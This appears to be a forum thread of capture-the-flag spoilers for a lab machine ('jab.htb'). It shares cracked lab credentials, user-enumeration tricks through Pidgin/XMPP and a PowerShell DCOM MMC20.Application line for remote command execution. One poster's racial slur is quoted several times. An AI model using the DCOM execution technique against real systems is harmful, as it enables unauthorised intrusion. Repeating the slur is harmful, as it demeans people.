[jahman]

With the search list, you will find the hash of jmontgomery -> Midnight_121

the pentest2003 room will give you the svc_openfire pass: !@#$%^&*(1qazxsw

and you can use this user to have RCE with dcom

[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.application","10.129.3.13")).Document.ActiveView.ExecuteShellCommand("cmd.exe",$null,"/c ping x.x.x.x",0)

[Dr1s]

With the search list, you will find the hash of jmontgomery ->  Midnight_121

the pentest2003 room will give you the svc_openfire pass: !@#$%^&*(1qazxsw

and you can use this user to have RCE with dcom

[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.application","10.129.3.13")).Document.ActiveView.ExecuteShellCommand("cmd.exe",$null,"/c ping x.x.x.x",0)

how did you find the hash of jmontgomery? can u explain to me [activator] line?

[EtR]

With the search list, you will find the hash of jmontgomery ->  Midnight_121

Which was the mode for the hashcat? I've tried 18200, but it did work. Also I changed 18 -> 23.

[Dr1s]

With the search list, you will find the hash of jmontgomery ->  Midnight_121

Which was the mode for the hashcat? I've tried 18200, but it did work. Also I changed 18 -> 23.

how did u get the hash?

[sus11]

can you please explain about the pidgin
what information did you put in the user port and server
and than how did you get a message back with the hash

[wfuuuuuufaz]

2 outstanding questions

1) jmontgomery isn't in default username in seclists (jmontgomery77 is, but that doesn't help)
which userslist did you guys use?

2) how did you get to run the RCE from a linux box, it knowns nothing about dcom

You need to get list of users from search.jab.com. In pidgin it's Accounts -> <Your account> -> Search for Users...

nigga how did u export that massive user list from pidgin?

[skyfallizhard]

svc_openfire was ezpz, where is the RCE?

[skyfallizhard]

2 outstanding questions

1) jmontgomery isn't in default username in seclists (jmontgomery77 is, but that doesn't help)
which userslist did you guys use?

2) how did you get to run the RCE from a linux box, it knowns nothing about dcom

You need to get list of users from search.jab.com. In pidgin it's Accounts -> <Your account> -> Search for Users...

nigga how did u export that massive user list from pidgin?

I used https://xmpp.org/extensions/xep-0055.xml and copy and pasted the results to regexr and then used regex to isolate the usernames and copy pasted that

[skyfallizhard]

so where is this rce? dcomexec isn't working with svc_openfire

[fracksi]

2 outstanding questions

1) jmontgomery isn't in default username in seclists (jmontgomery77 is, but that doesn't help)
which userslist did you guys use?

2) how did you get to run the RCE from a linux box, it knowns nothing about dcom

You need to get list of users from search.jab.com. In pidgin it's Accounts -> <Your account> -> Search for Users...

nigga how did u export that massive user list from pidgin?

I used https://xmpp.org/extensions/xep-0055.xml and copy and pasted the results to regexr and then used regex to isolate the usernames and copy pasted that

You can also run:

sudo pidgin -d > output.log

Now you navigate to users, search for them, and close de program.

Next, filter names like this:

grep -oP '<value>\K[^<]+@jab.htb(?=</value>)' output.log | sed 's/@jab.htb//g' | sort | uniq > output_filtered.lst

Another alternative:
use the XMPP Console Plugin -> Perform user search -> Copy XML -> Parse XML since it's orderly